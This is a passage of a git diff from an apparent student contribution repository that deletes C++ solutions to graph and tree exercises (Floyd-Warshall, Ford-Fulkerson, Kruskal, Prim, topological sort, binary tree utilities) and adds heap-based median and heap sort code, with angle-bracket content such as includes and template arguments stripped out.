q.pop(); - - image[x][y] = newColor; - - for (int i = 0; i < 4; ++i) - { - int nx = x + dir[i], ny = y + dir[i + 1]; - if (nx < 0 || nx == m || ny < 0 || ny == n || image[nx][ny] != col) - continue; - - q.emplace(nx, ny); - } - } - - return image; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/floyd-warshall-algorithm.cpp b/Add Code Here/C++/Graph/floyd-warshall-algorithm.cpp deleted file mode 100644 index cb5b7fde35e..00000000000 --- a/Add Code Here/C++/Graph/floyd-warshall-algorithm.cpp +++ /dev/null @@ -1,25 +0,0 @@ -class Solution -{ -public: - void shortest_distance(vector> &matrix) - { - // here matrix = adjacency matrix - int V = matrix.size(); - - for (int k = 0; k < V; ++k) - { - for (int i = 0; i < V; ++i) - { - for (int j = 0; j < V; ++j) - { - if (matrix[i][k] == -1 || matrix[k][j] == -1) - continue; - else if (matrix[i][k] + matrix[k][j] < matrix[i][j]) - matrix[i][j] = matrix[i][k] + matrix[k][j]; - } - } - } - } -}; - -// O(V^3) \ No newline at end of file diff --git a/Add Code Here/C++/Graph/ford-fulkerson.cpp b/Add Code Here/C++/Graph/ford-fulkerson.cpp deleted file mode 100644 index ee048ac674a..00000000000 --- a/Add Code Here/C++/Graph/ford-fulkerson.cpp +++ /dev/null @@ -1,198 +0,0 @@ -#include -#include -#include -#include -using namespace std; -#define INFINITE 999999; -class Graph -{ -private: - int no_of_vertices; - int s_source; - int t_sink; - bool flag_anti_par_edge; - vector> adj_matrix; - vector> residual_matrix; - vector visited; - vector parent; - int max_flow=0; - - void dfs_visit(int u) - { - visited[u]=true; - for(int v=0;v 0) - { - parent[v]=u; - dfs_visit(v); - } - } - } - bool dfs() - { - bool flag=false; - for(int i=0;i vec; - for(int j=0;j0) - { - flag_anti_par_edge=true; - } - for(int i=0;i ve; - for(int j=0;j0;v=parent[v]) - { - u=parent[v]; - aug_path_flow=min(aug_path_flow,residual_matrix[u][v]); - } - for(v=t_sink;v>0;v=parent[v]) - { - u=parent[v]; - residual_matrix.at(u).at(v)=residual_matrix[u][v]-aug_path_flow; - residual_matrix.at(v).at(u)=residual_matrix[v][u]+aug_path_flow; - } - max_flow+=aug_path_flow; - } - return max_flow; - } -}; -int main() -{ - int v,e; - int val_u,val_v,cap_el; - cout<<"Enter the total number of vertices= "; - cin>>v; - cout<<"Enter the total number of edges= "; - cin>>e; - Graph obj(v); - cout<<"The vertex at position 0 will be the source and the vertex at position "<>val_u; - cin>>val_v; - cin>>cap_el; - obj.push_edge(val_u,val_v,cap_el); - } - cout<<"The adjacency matrix reperesentation of the given directed graph is"< nodes; - vector vis; - - void dfs1(int node, vector adj[]) - { - vis[node] = 1; - for (auto i : adj[node]) - if (!vis[i]) - dfs1(i, adj); - nodes.push(node); - } - - void dfs2(int node, vector adj[]) - { - vis[node] = 1; - for (auto i : adj[node]) - if (!vis[i]) - dfs2(i, adj); - } - - void reverse(vector adj[], int V, vector rev[]) - { - for (int i = 0; i < V; i++) - for (auto j : adj[i]) - rev[j].push_back(i); - } - -public: - int kosaraju(int V, vector adj[]) - { - - vis.resize(V, 0); - - // dfs - 1 - for (int i = 0; i < V; i++) - if (!vis[i]) - dfs1(i, adj); - - // reverse adj list - vector rev[V]; - reverse(adj, V, rev); - - // reset vis array - for (int i = 0; i < V; i++) - vis[i] = 0; - - // dfs - 2 - int count = 0; - while (!nodes.empty()) - { - int node = nodes.top(); - nodes.pop(); - - if (!vis[node]) - { - count++; - dfs2(node, rev); - } - } - - return count; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/kruskals-algorithm.cpp b/Add Code Here/C++/Graph/kruskals-algorithm.cpp deleted file mode 100644 index ae7ce5ba5bf..00000000000 --- a/Add Code Here/C++/Graph/kruskals-algorithm.cpp +++ /dev/null @@ -1,104 +0,0 @@ -#include -#include -#include -using namespace std; - -struct Node -{ - int parent; - int rank; -}; - -struct Edge -{ - int from; - int to; - int weight; -}; - -bool comparator(Edge a, Edge b) -{ - return a.weight < b.weight; -} - -int dsuf_find(int v, vector dsuf) -{ - if (dsuf[v].parent == -1) - return v; - return dsuf[v].parent = dsuf_find(dsuf[v].parent, dsuf); -} - -void dsuf_union(int v1, int v2, vector &dsuf) -{ - int v1_p = dsuf_find(v1, dsuf); - int v2_p = dsuf_find(v2, dsuf); - - if (dsuf[v1_p].rank < dsuf[v2_p].rank) - dsuf[v1_p].parent = v2_p; - else if (dsuf[v2_p].rank < dsuf[v1_p].rank) - dsuf[v2_p].parent = v1_p; - else - { - dsuf[v1_p].parent = v2_p; - dsuf[v2_p].rank += 1; - } -} - -void Kruskals(vector edges, vector &dsuf, vector &mst) -{ - sort(edges.begin(), edges.end(), comparator); - for (auto e : edges) - { - // find abs parents of edges - int v1_p = dsuf_find(e.from, dsuf); - int v2_p = dsuf_find(e.to, dsuf); - - if (v1_p == v2_p) - continue; - - mst.push_back(e); - dsuf_union(v1_p, v2_p, dsuf); - if (mst.size() == dsuf.size() - 1) - break; - } -} - -int main() -{ - int E, V; - cin >> E >> V; - - vector edge_list; - - // init - vector dsuf(V); - for (int i = 0; i < V; i++) - { - dsuf[i].parent = -1; - dsuf[i].rank = 0; - } - - // create edge list - for (int i = 0; i < E; i++) - { - Edge e; - cin >> e.from >> e.to >> e.weight; - edge_list.push_back(e); - } - - vector mst; - Kruskals(edge_list, dsuf, mst); - - cout << "MST Edges \n"; - int weight = 0; - - for (auto i : mst) - { - weight += i.weight; - cout << i.from << " " << i.to << " " << i.weight << "\n"; - } - - cout << "mst weight: " << weight; - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph/network-delay-time.cpp b/Add Code Here/C++/Graph/network-delay-time.cpp deleted file mode 100644 index 455ca48def5..00000000000 --- a/Add Code Here/C++/Graph/network-delay-time.cpp +++ /dev/null @@ -1,56 +0,0 @@ -class Solution -{ - int findMin(vector vis, vector distance, int n) - { - int minV = INT_MAX, vertex = -1; - for (int i = 1; i <= n; i++) - { - if (!vis[i] && distance[i] < minV) - { - minV = distance[i]; - vertex = i; - } - } - return vertex; - } - -public: - int networkDelayTime(vector> ×, int n, int k) - { - // create adj matrix - vector> adj(n + 1, vector(n + 1, -1)); - for (auto i : times) - adj[i[0]][i[1]] = i[2]; - - vector vis(n + 1, 0), distance(n + 1, INT_MAX); - distance[k] = 0; - int visited = 0; - - while (visited < n) - { - int minNode = findMin(vis, distance, n); - if (minNode == -1) - return -1; - vis[minNode] = 1; - visited++; - - for (int i = 1; i <= n; i++) - { - int d = adj[minNode][i]; - if (!vis[i] && distance[minNode] != INT_MAX && d != -1 && distance[minNode] + d < distance[i]) - { - distance[i] = distance[minNode] + d; - } - } - } - - int maxTime = INT_MIN; - for (int i = 1; i <= n; i++) - { - if (maxTime < distance[i]) - maxTime = distance[i]; - } - - return maxTime; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/num-operations-to-connect-network.cpp b/Add Code Here/C++/Graph/num-operations-to-connect-network.cpp deleted file mode 100644 index ddc4503c0b5..00000000000 --- a/Add Code Here/C++/Graph/num-operations-to-connect-network.cpp +++ /dev/null @@ -1,95 +0,0 @@ -// Method 1 = Union Find -// Time = 108ms, Space = 41.9mb - -class Solution -{ - vector parent; - - int dsf(int x) - { - return (parent[x] == -1) ? x : parent[x] = dsf(parent[x]); - } - - void dsu(int u, int v) - { - u = dsf(u); - v = dsf(v); - - if (u != v) - parent[u] = v; - } - -public: - int makeConnected(int n, vector> &connections) - { - // invalid case - if (connections.size() < n - 1) - return -1; - - // parent - parent.resize(n, -1); - - for (auto i : connections) - dsu(i[0], i[1]); - - int count = 0; - for (auto i : parent) - { - if (i == -1) - count += 1; - } - - return count - 1; - } -}; - -// Method 2 = Simple DFS -// Time = 132ms, Space = 55.2mb - -#define pb push_back - -class Solution -{ - void dfs(int node, vector adj[], vector &vis) - { - vis[node] = 1; - for (auto i : adj[node]) - { - if (!vis[i]) - dfs(i, adj, vis); - } - } - -public: - int makeConnected(int n, vector> &connections) - { - // invalid case - if (connections.size() < n - 1) - return -1; - - // create adj list - vector adj[n]; - for (auto i : connections) - { - adj[i[0]].pb(i[1]); - adj[i[1]].pb(i[0]); - } - - // create helpers - vector vis(n, 0); - - // count disjoint computers - int count = 0; - - for (int i = 0; i < n; i++) - { - if (!vis[i]) - { - count++; - dfs(i, adj, vis); - } - } - - return count - 1; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/number-of-islands.cpp b/Add Code Here/C++/Graph/number-of-islands.cpp deleted file mode 100644 index c1f1cbbfaa7..00000000000 --- a/Add Code Here/C++/Graph/number-of-islands.cpp +++ /dev/null @@ -1,31 +0,0 @@ -class Solution -{ - void dfs(int i, int j, int m, int n, vector> &grid) - { - if (i < 0 || i == m || j < 0 || j == n) - return; - if (grid[i][j] == '0' || grid[i][j] == '2') - return; - - grid[i][j] = '2'; - dfs(i - 1, j, m, n, grid); - dfs(i, j - 1, m, n, grid); - dfs(i + 1, j, m, n, grid); - dfs(i, j + 1, m, n, grid); - } - -public: - int numIslands(vector> &grid) - { - int count = 0, m = grid.size(), n = grid[0].size(); - for (int i = 0; i < m; i++) - for (int j = 0; j < n; j++) - if (grid[i][j] == '1') - { - count++; - dfs(i, j, m, n, grid); - } - - return count; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/prims-algorithm.cpp b/Add Code Here/C++/Graph/prims-algorithm.cpp deleted file mode 100644 index c127a3f9629..00000000000 --- a/Add Code Here/C++/Graph/prims-algorithm.cpp +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -using namespace std; - -int findMin(vector dist, vector visited) -{ - int minValue = INT_MAX, j = -1; - for (int i = 0; i < dist.size(); i++) - { - if (visited[i] == false && dist[i] < minValue) - { - minValue = dist[i]; - j = i; - } - } - return j; -} - -void Prims(vector> edges, vector dist, vector visited, vector &parent) -{ - int numVisited = 0; - while (numVisited != edges.size()) - { - int minNode = findMin(dist, visited); - visited[minNode] = true; - numVisited++; - for (int i = 0; i < edges.size(); i++) - { - int wt = edges[minNode][i]; - if (wt != 0 && wt < dist[i] && visited[i] == false) - { - dist[i] = edges[minNode][i]; - parent[i] = minNode; - } - } - } -} - -int main() -{ - int E, V; - cin >> E >> V; - - vector> edges(V, vector(V, 0)); - - for (int i = 0; i < E; i++) - { - int from, to, weight; - cin >> from >> to >> weight; - edges[from][to] = edges[to][from] = weight; - } - - // distance array - vector dist(V, INT_MAX); - dist[0] = 0; - - vector visited(V, false); - vector parent(V); - parent[0] = -1; - - Prims(edges, dist, visited, parent); - - int weight = 0; - - for (int i = 1; i < parent.size(); i++) - { - weight += edges[i][parent[i]]; - cout << i << " " << parent[i] << "\n"; - } - - cout << weight << "\n"; - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph/print-adjacency-list.cpp b/Add Code Here/C++/Graph/print-adjacency-list.cpp deleted file mode 100644 index 7f502c55dc4..00000000000 --- a/Add Code Here/C++/Graph/print-adjacency-list.cpp +++ /dev/null @@ -1,20 +0,0 @@ -#include -using namespace std; - -class Solution -{ -public: - vector> printGraph(int V, vector adj[]) - { - vector> ans; - for (int i = 0; i < V; i++) - { - vector A; - A.push_back(i); - for (int j = 0; j < adj[i].size(); j++) - A.push_back(adj[i][j]); - ans.push_back(A); - } - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/rat-in-a-maze.cpp b/Add Code Here/C++/Graph/rat-in-a-maze.cpp deleted file mode 100644 index 74f775628d9..00000000000 --- a/Add Code Here/C++/Graph/rat-in-a-maze.cpp +++ /dev/null @@ -1,54 +0,0 @@ -class Solution -{ - vector ops; - - void solve(vector> m, int n, int i, int j, string op) - { - if (i == n - 1 && j == n - 1 && m[i][j] == 1) - { - ops.push_back(op); - return; - } - - if (m[i][j] == 0) - return; - m[i][j] = 0; - - if (i + 1 < n && m[i + 1][j] == 1) - { - // down move - string newOp = op; - newOp.push_back('D'); - solve(m, n, i + 1, j, newOp); - } - if (j - 1 >= 0 && m[i][j - 1] == 1) - { - // left move - string newOp = op; - newOp.push_back('L'); - solve(m, n, i, j - 1, newOp); - } - if (j + 1 < n && m[i][j + 1] == 1) - { - // right move - string newOp = op; - newOp.push_back('R'); - solve(m, n, i, j + 1, newOp); - } - if (i - 1 >= 0 && m[i - 1][j] == 1) - { - // up move - string newOp = op; - newOp.push_back('U'); - solve(m, n, i - 1, j, newOp); - } - } - -public: - vector findPath(vector> &m, int n) - { - string op = ""; - solve(m, n, 0, 0, op); - return ops; - } -}; diff --git a/Add Code Here/C++/Graph/topological-sort.cpp b/Add Code Here/C++/Graph/topological-sort.cpp deleted file mode 100644 index 9905464bfd2..00000000000 --- a/Add Code Here/C++/Graph/topological-sort.cpp +++ /dev/null @@ -1,36 +0,0 @@ -class Solution -{ - - stack s; - - void dfs(int node, vector adj[], vector &vis) - { - vis[node] = true; - for (int i : adj[node]) - { - if (!vis[i]) - dfs(i, adj, vis); - } - s.push(node); - } - -public: - vector topoSort(int V, vector adj[]) - { - vector vis(V, 0); - - for (int i = 0; i < V; i++) - { - if (!vis[i]) - dfs(i, adj, vis); - } - - vector ans; - while (s.size() > 0) - { - ans.push_back(s.top()); - s.pop(); - } - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph/tree2.cpp b/Add Code Here/C++/Graph/tree2.cpp deleted file mode 100644 index 710b07d3b95..00000000000 --- a/Add Code Here/C++/Graph/tree2.cpp +++ /dev/null @@ -1,330 +0,0 @@ -#include -#include -using namespace std; -#define ll long long int - -struct node{ - int data; - node* left; - node* right; - node(int data){ - this->data = data; - this->left = NULL; - this->right = NULL; - } -}; - -class tree{ - public: - int indx; - tree(){ - this->indx = -1; - } - // int indx=-1; - node* built_tree(int arr[]){ - indx++; - if(arr[indx] == -1){ - return NULL; - } - node* newnode =new node(arr[indx]); - newnode->left = built_tree(arr ); - newnode->right = built_tree(arr ); - return newnode; - } -}; - -int solve(node* root, int &res){ - if(root == NULL){ - return 0; - } - - int l = solve(root->left,res); - int r = solve(root->right,res); - - int temp = max(l,r) + 1; - int ans = max(temp, l+r+1); - - res = max(res,ans); - - return temp; -} - -void print_tree(node* root){ - if(root == NULL){ - return ; - } - - print_tree(root->left); - cout<data<<" "; - print_tree(root->right); -} - -void print_level_order(node* root){ - if(root == NULL){ - return; - } - queue q; - q.push(root); - q.push(NULL); - while(!q.empty()){ - if( q.front() == NULL){ - cout<data<<" "; - if(curr->left!= NULL) - q.push(curr->left); - if(curr->right !=NULL) - q.push(curr->right); - } - cout<left); - int r = count_of_nodes(root->right); - - return l+r+1; -} - -int total_count(node* root){ - if(root ==NULL){ - return 0; - } - - int l = total_count(root->left); - int r = total_count(root->right); - - return l+r+root->data; -} - -int height(node* root){ - if(root == NULL){ - return 0; - } - int l = height(root->left); - int r = height(root->right); - - return max(l,r)+1; -} - -struct treeInfo{ - int height; - int diameter; - treeInfo(int height, int diameter){ - this->height = height; - this->diameter = diameter; - } -}; -treeInfo* diameter2(node* root){ - if(root == NULL){ - treeInfo* new_tree = new treeInfo(0,0); - return new_tree; - } - - treeInfo* l = diameter2(root->left); - treeInfo* r = diameter2(root->right); - - int myheight = max(l->height , r->height) + 1; - - int dia1 = l->diameter; - int dia2 = r->diameter; - int dia3 = l->height + r->height + 1; - - int mydia = max(dia1 , max(dia2 , dia3)); - - treeInfo* newtree = new treeInfo(myheight, mydia); - - return newtree; -} -bool isIdentical(node* root, node* sub_root){ - if(root == NULL && sub_root == NULL){ - return true; - } - if(root == NULL || sub_root == NULL){ - return false; - } - if(root->data == sub_root->data){ - return isIdentical(root->left , sub_root->left) && isIdentical(root->right , sub_root->right); - } - - return false; -} -bool subtree(node* root, node* sub_root){ - if(sub_root == NULL){ - return true; - } - if(root == NULL){ - return false; - } - if(root->data == sub_root->data){ - if(isIdentical(root, sub_root)){ - return true; - } - } - - return (subtree(root->left, sub_root) || subtree(root->right, sub_root)); - -} - -node* binary_tree(node* root,int val){ - if(val==-1){ - return NULL; - } - if(root == NULL){ - root = new node(val); - return root; - } - - if(val>root->data){ - root->right = binary_tree(root->right,val); - } - else{ - root->left = binary_tree(root->left, val); - } - - return root; -} - -bool find(node * root, int val){ - if(root == NULL){ - return false; - } - if(root->data == val){ - return true; - } - if(root->dataright,val); - }else{ - return find(root->left,val); - } -} -node* inorderSuccessor(node* root){ - while(root->left != NULL){ - root = root->left; - } - return root; -} -node* del(node* root,int val){ - - if(val>root->data){ - root->right = del(root->right, val); - } - else if(valdata){ - root->left = del(root->left, val); - } - else{ - if(root->left == NULL && root->right == NULL){ - return NULL; - } - else if(root->left == NULL){ - return root->right; - } - else if(root->right == NULL){ - return root-> left; - }else{ - node *IS = inorderSuccessor(root->right); - root->data = IS->data; - root->right = del(root->right, IS->data); - } - } - return root; -} - -void print_In_Range(node* root, int x,int y){ - if(root == NULL){ - return; - } - if(x<=root->data && root->data<=y){ - print_In_Range(root->left, x,y); - cout<data<<" "; - print_In_Range(root->right, x, y); - } - else if(root->data >=y){ - print_In_Range(root->left,x,y); - } - else if(root->data<=x){ - print_In_Range(root->right,x,y); - } -} -void root_to_leaf(node *root,vector &v,vector> &all_v){ - - if(root == NULL){ - return ; - } - v.push_back(root->data); - if(root->left == NULL && root->right ==NULL){ - all_v.push_back(v); - } - else{ - root_to_leaf(root->left,v,all_v); - root_to_leaf(root->right,v,all_v); - } - v.pop_back(); - -} -int main(){ - int arr[] = {1,2,3,-1,-1,4,-1,-1,5,6,7,-1,-1,8,-1,-1,9,-1,-1}; - int arr1[] = {6,7,-1,-1,9,-1,-1}; - int arr3[] = {5,1,3,4,2,7}; - tree t1,t2; - node* root = t1.built_tree(arr); - // node* sub_root = t2.built_tree(arr1); - // cout<data<diameter<data< v; - // vector> all_v; - // root_to_leaf(root,v,all_v); - // for(auto vec: all_v){ - // for(auto val:vec){ - // cout< -#include -using namespace std; -#define ll long long int - -struct node{ - int value; - node* left; - node* right; - node(int value){ - this->value = value; - this->left = NULL; - this->right = NULL; - } -}; - -void print_tree(node* root){ - if(root == NULL){ - return; - } - cout<value<<" "; - print_tree(root->left); - print_tree(root->right); -} -class tree{ - public: - int indx = -1; - node* built_tree(int arr[]){ - indx++; - if(arr[indx] == -1){ - return NULL; - } - node * newnode = new node(arr[indx]); - newnode->left = built_tree(arr); - newnode->right = built_tree(arr); - - return newnode; - } -}; - -node* binary_tree(int val,node * root){ - if(root == NULL){ - node* newnode = new node(val); - return newnode; - } - if(val>root->value){ - root->right = binary_tree(val,root->right); - }else{ - root->left = binary_tree(val,root->left); - } - return root; -} -void print_level_order(node* root){ - if(root == NULL){ - return ; - } - queue q; - q.push(root); - q.push(NULL); - while(!q.empty()){ - node* curr = q.front(); - q.pop(); - if(curr == NULL){ - cout<value<<" "; - if(curr->left!= NULL) - q.push(curr->left); - if(curr->right != NULL) - q.push(curr->right); - } - } -} -int count_of_nodes(node* root){ - if(root == NULL){ - return 0; - } - int l = count_of_nodes(root->left); - int r = count_of_nodes(root->right); - - return l+r+1; -} - -int total_count(node* root){ - if(root == NULL){ - return 0; - } - int l = total_count(root->left); - int r = total_count(root->right); - - return l+r+root->value; -} - -int height(node* root){ - if(root == NULL){ - return 0; - - } - int l = height(root->left); - int r = height(root->right); - - return max(l,r)+1; -} - -struct treeInfo{ - int height; - int diameter; - treeInfo(int height ,int diameter){ - this->height = height; - this->diameter = diameter; - } -}; -treeInfo* diameter2(node* root){ - if(root == NULL){ - return new treeInfo(0,0); - } - - treeInfo* l = diameter2(root->left); - treeInfo* r = diameter2(root->right); - - int myheight = max(l->height, r->height) +1; - - int dia1 = l->diameter; - int dia2 = r->diameter; - int dia3 = l->height + r->height +1; - - int mydiameter = max(dia1 , max(dia2 , dia3)); - treeInfo* mytree = new treeInfo(myheight, mydiameter); - return mytree; -} - -int diameter(node* root, int &res){ - if(root == NULL){ - return 0; - } - - int l = diameter(root->left, res); - int r = diameter(root->right, res); - int temp = max(l,r) + 1; - int ans = max(temp , l+r+1); - - res = max(res,ans); - return temp; -} -bool isIdentical(node* root, node* sub_root){ - if(sub_root == NULL && root==NULL){ - return true; - } - if(root == NULL){ - return false; - } - if(root->value == sub_root->value){ - return isIdentical(root->left,sub_root->left) && - isIdentical(root->right, sub_root->right); - } - return false; -} -bool subtree(node* root, node* sub_root){ - if(sub_root == NULL){ - return true; - } - if(root == NULL){ - return false; - } - if(root->value == sub_root->value){ - if(isIdentical(root,sub_root)){ - return true; - } - } - return subtree(root->left,sub_root) || subtree(root->right, sub_root); -} - -bool find(node * root, int val){ - if(root == NULL){ - return false; - } - if(root->value == val){ - return true; - } - return find(root->left, val) || find(root->right,val); -} -node* inorderSuccessor(node* root){ - while(root->left!=NULL){ - root = root->left; - } - return root; -} -node* del(node *root,int val){ - if(root == NULL){ - return NULL; - } - - if(root->value>val){ - root->left = del(root->left, val); - } - else if(root->valueright = del(root->right, val); - } - else{ - if(root->left == NULL && root->right == NULL){ - return NULL; - } - else if(root->left == NULL){ - return root->right; - } - else if(root->right == NULL){ - return root->left; - }else{ - node* IS = inorderSuccessor(root->right); - root->value = IS->value; - root->right = del(root->right,IS->value); - } - } - return root; -} - -void print_In_Range(node*root, int x,int y){ - if(root ==NULL){ - return; - } - if(x<=root->value && root->value<=y){ - print_In_Range(root->left,x,y); - cout<value<<" "; - print_In_Range(root->right,x,y); - } - else if(root->value<=x){ - print_In_Range(root->right,x,y); - }else if(root->value>=y){ - print_In_Range(root->left,x,y); - } -} - -void root_to_leaf(node* root, vector &v, vector> &all_v){ - if(root == NULL){ - return; - } - - v.push_back(root->value); - - if(root->left == NULL && root->right == NULL){ - all_v.push_back(v); - }else{ - root_to_leaf(root->left,v,all_v); - root_to_leaf(root->right,v,all_v); - } - - v.pop_back(); - -} -int main() -{ - // int arr[] = {1,2,3,4,-1,-1,5,-1,-1,6,-1,-1,7,-1,-1}; - int arr[] = {1,2,3,-1,-1,4,-1,-1,5,6,7,-1,-1,8,-1,-1,9,-1,-1}; - int arr3[] = {5,1,3,4,2,7}; - int arr2[] = {6,7,-1,-1,8,-1,-1}; - tree t1,t2; - - node* root = t1.built_tree(arr); - // node* sub_root = t2.built_tree(arr2); - // cout<value<value<diameter< v; - vector> all_v; - root_to_leaf(root,v,all_v); - for(auto vec:all_v){ - for(auto val:vec){ - cout< -using namespace std; - -// Finding the minimum sum of product of two arrays - -int minpro(int a[], int b[], int n, int k) -{ - int dif = 0, r = 0; - int temp; - for (int i = 0; i < n; i++) - { - int p = a[i] * b[i]; - r = r + p; - if (p < 0 && b[i] < 0) - temp = (a[i] + 2 * k) * b[i]; - else if (p < 0 && a[i] < 0) - temp = (a[i] + 2 * k) * b[i]; - else if (p > 0 && a[i] < 0) - temp = (a[i] + 2 * k) * b[i]; - else if (p > 0 && a[i] > 0) - temp = (a[i] - 2 * k) * b[i]; - int d = abs(p - temp); - if (d > dif) - dif = d; - } - return r - dif; -} - -int main() -{ - int a[] = {12, 45, 2, 7, 2}; - int b[] = {7, 8, 6, 7, 6}; - int n = 5, k = 3; - cout << minpro(a, b, n, k) << endl; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/GroupAnagrams.cpp b/Add Code Here/C++/GroupAnagrams.cpp deleted file mode 100644 index 80a6b5cc82f..00000000000 --- a/Add Code Here/C++/GroupAnagrams.cpp +++ /dev/null @@ -1,24 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - vector> groupAnagrams(vector& strs) { - - unordered_map>mp; - //string stores the chars of the anagram and the vector will store all the anagrams with the same chars - for(auto i:strs){ - string temp=i; - sort(temp.begin(),temp.end()); - mp[temp].push_back(i); - } - - vector> ans; - - for(auto i:mp){ - ans.push_back(i.second); - } - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Hamming Code b/Add Code Here/C++/Hamming Code deleted file mode 100644 index 3c4aad5b545..00000000000 --- a/Add Code Here/C++/Hamming Code +++ /dev/null @@ -1,27 +0,0 @@ -#include -#include -#include -int main() -{ -int n,i,r=1,k,p,t; -printf("Enter the number of bits in data : "); -scanf("%d",&k); -while(1) -{ - if(pow(2,r)>=k+r+1) - { - p=pow(2,r); - t=k+r+1; - printf("%d >= %d T\n",p,t); - break; - } - else - { - p=pow(2,r); - t=k+r+1; - printf("%d >= %d F\n",p,t); - ++r; - } -} -printf("No of reductant bits are : %d\n",r); -} diff --git a/Add Code Here/C++/HappyNumber.cpp b/Add Code Here/C++/HappyNumber.cpp deleted file mode 100644 index 76c6d1b9e1f..00000000000 --- a/Add Code Here/C++/HappyNumber.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - bool isHappy(int n) { - - while(n/10 >0){ - int sum=0; - while(n>0){ - int digit=n%10; - sum=digit*digit+sum; - n/=10; - } - n=sum; - } - - if(n==1 || n==7)//handling corner cases, as from 1 to 10 only 7 is a happy number - return true; - else - return false; - - - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/HashTable.cpp b/Add Code Here/C++/HashTable.cpp deleted file mode 100644 index 1bb208a0da8..00000000000 --- a/Add Code Here/C++/HashTable.cpp +++ /dev/null @@ -1,144 +0,0 @@ -/* C++ program to implement Hash Table using Template Class */ - -#include -#include - -using namespace std; - -template -class HashTable { - public: - HashTable(int divisor = 11); - ~HashTable() {delete [] ht; - delete [] empty;} - int Search(const K& k, E& e) const; - HashTable& Insert(const E& e); - void Output();// output the hash table - void del(E e); - private: - int hSearch(const K& k) const; - int D; // hash function divisor - E *ht; // hash table array - int *empty; // 1D array -}; - template -HashTable::HashTable(int divisor) -{// Constructor. - D = divisor; - ht = new E [D]; - empty = new int [D]; - - for (int i = 0; i < D; i++) - empty[i] = 1; -} -template -int HashTable::hSearch(const K& k) const -{ - int i = k % D; - int j = i; - do { - if (empty[j] || ht[j] == k) return j; - j = (j + 1) % D; // next bucket - } while (j != i); // returned to home? - return j; // table full -} - template -void HashTable::del(E e) -{ - int b=hSearch(e); - if( !empty[b] && ht[b]==e) - { - ht[b]=0; - empty[b]=1; - } - else - cout<<"\nelement not found"; - -} -template -int HashTable::Search(const K& k, E& e) const -{ - int b = hSearch(k); - if (empty[b] || ht[b] != k) return 0; - e = ht[b]; - return 1; -} - template -HashTable& HashTable::Insert(const E& e) -{// Hash table insert. - K k = e; // extract key - int b = hSearch(k); - if (empty[b]) {empty[b] = 0; - ht[b] = e; - return *this; - - } - if (ht[b] == k) { cout<<"\nbad input"; return *this; } // duplicate - cout<<"\nNo memory";// table full - return *this; -} - - template -void HashTable::Output() -{ - cout< h(11); - int e; - e = 80; - h.Insert(e); - e = 40; - h.Insert(e); - e = 65; - h.Insert(e); - cout<<"\nAfter inserting 80,40,65:"; - h.Output(); - cout< +using namespace std; + +class Solution +{ + +public: + priority_queue maxheap; + priority_queue, greater> minheap; + + void insertHeap(int &x) + { + // If left side is empty then insert into left + // If topmost element of left (which is currently the median) is greater than x. Then x will be smaller than median. Hence it will lie in the left side + if (maxheap.empty() || maxheap.top() >= x) + { + maxheap.push(x); + } + // x is greater than median. Hence it will lie in right side + else + { + minheap.push(x); + } + // Compare two sides sizes + // Both heaps equal ==> Ignore + // If left side has 2 or more elements than right side ==> Move topmost element from left to right + if (maxheap.size() > minheap.size() + 1) + { + minheap.push(maxheap.top()); + maxheap.pop(); + } + // If right side is greater ==> Move element from right side to left side + else if (maxheap.size() < minheap.size()) + { + maxheap.push(minheap.top()); + minheap.pop(); + } + } + // Function to return Median. + double getMedian() + { + // Equal size + if (maxheap.size() == minheap.size()) + { + return (maxheap.top() + minheap.top()) / 2.0; + } + // Left will always have more size than right + else + { + return maxheap.top(); + } + } +}; + +int main() +{ + int arr[] = {5, 15, 1, 3}; + int n = sizeof(arr) / sizeof(arr[0]); + Solution s = Solution(); + for(int i=0; i +using namespace std; + +class Heap +{ + int n = 0; + int HeapArray[30] = { 9999 }; + public: + void insert(int data) + { + HeapArray[n] = data; + { + int child = n; + int parent = (child - 1) / 2; + if(parent > -1) + { + while (HeapArray[child] < HeapArray[parent]) + { + int temp = HeapArray[parent]; + HeapArray[parent] = HeapArray[child]; + HeapArray[child] = temp; + child = parent; + parent = (child - 1) / 2; + } + } + n++; + } + } + void DownHeap(int i) + { + for(; i < n; i++) + { + int l = (2 * (i)) + 1; + int r = (2 * (i)) + 2; + if(HeapArray[l] == 0 && HeapArray[r] == 0) + { + break; + } + if(HeapArray[i] > HeapArray[l]) + { + int temp = HeapArray[i]; + HeapArray[i] = HeapArray[l]; + HeapArray[l] = temp; + } + if(HeapArray[i] > HeapArray[r]) + { + int temp = HeapArray[i]; + HeapArray[i] = HeapArray[r]; + HeapArray[r] = temp; + } + } + } + void Delete(int del) + { + int flag = 0; + int i = 0; + for(; i < n; i++) + { + if(HeapArray[i] == del) + { + flag = 1; + break; + } + else + { + flag = 0; + } + } + if(flag) + { + HeapArray[i] = HeapArray[n - 1]; + HeapArray[--n] = 9999; + DownHeap(i); + } + else + { + cout << "Element Not Found" << endl; + } + } + + int First() + { + return HeapArray[0]; + } + + void AscendingSort() + { + Heap temp; + for(int i = 0; i < n; i++) + { + temp.insert(HeapArray[i]); + } + int sorted[n]; + int ind = n; + for(int i = 0; i < ind; i++) + { + sorted[i] = temp.First(); + temp.Delete(temp.First()); + } + for(int i = 0; i < n; i++) + { + cout << sorted[i] << "\t"; + } + cout << endl; + } + + void DescendingSort() + { + Heap temp; + for(int i = 0; i < n; i++) + { + temp.insert(HeapArray[i]); + } + int sorted[n]; + for(int i = n - 1; i >= 0; i--) + { + sorted[i] = temp.First(); + temp.Delete(temp.First()); + } + for(int i = 0; i < n; i++) + { + cout << sorted[i] << "\t"; + } + cout << endl; + } + + void Display() + { + for (int i = 0; i < n; i++) + { + cout 